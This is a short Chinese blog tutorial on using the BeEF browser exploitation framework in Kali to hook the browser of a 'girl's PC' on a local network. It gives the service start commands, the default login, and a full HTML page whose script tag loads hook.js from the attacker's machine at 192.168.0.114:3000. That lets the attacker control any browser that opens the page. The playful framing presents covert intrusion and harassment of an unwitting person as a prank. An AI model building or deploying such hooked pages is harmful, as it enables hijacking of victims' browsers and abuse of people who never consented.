内网漫步之如何调戏妹纸

今天在一个大佬的博客发现了一个挺有意思的小东西，下载开始搬砖：

环境说明：

kali linux(192.168.0.114) 黑阔滴设备
win7 (192.168.0.113) 妹纸的pc

认识beef

BEEF (The Browser Exploitation Framework)：一款浏览器攻击框架，用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。

BeEF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用，被分为前端和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeEF持有者可以通过浏览器来登录 BeEF 的后端，来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。请输入图片描述

启动BEEF

方法一：点击栏目中的图标即可启动。方法二：执行命令beef-xss kali已经把beef-xss做成服务了，我们也可以使用systemctl 命令来启动或关闭beef服务

systemctl start beef-xss.service         #开启beef服务
systemctl stop beef-xss.service         #关闭beef服务
systemctl restart beef-xss.service      #重启beef服务

Shell

请输入图片描述 注意：初次配置要求我们输入我们的账号和密码（自行设定）启动完成后，会自动跳转到浏览器的管理页面。输入我们刚才设置的账号和密码，登入系统。初始账号和密码均为beef

配置我们的钩子

方法有两种这里简单说下：方法一：找含有xss漏洞的网站，插入js达到攻击目标。方法二：自己写一个含有毒化的网页，让他人访问。（内网+外网）这里以方法二为列：写个简单的页面。

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>啦啦啦</title>
</head>

<body>
<h1>bbskali.cn</h1>
<script src="http://192.168.0.114:3000/hook.js"></script>
</body>
</html>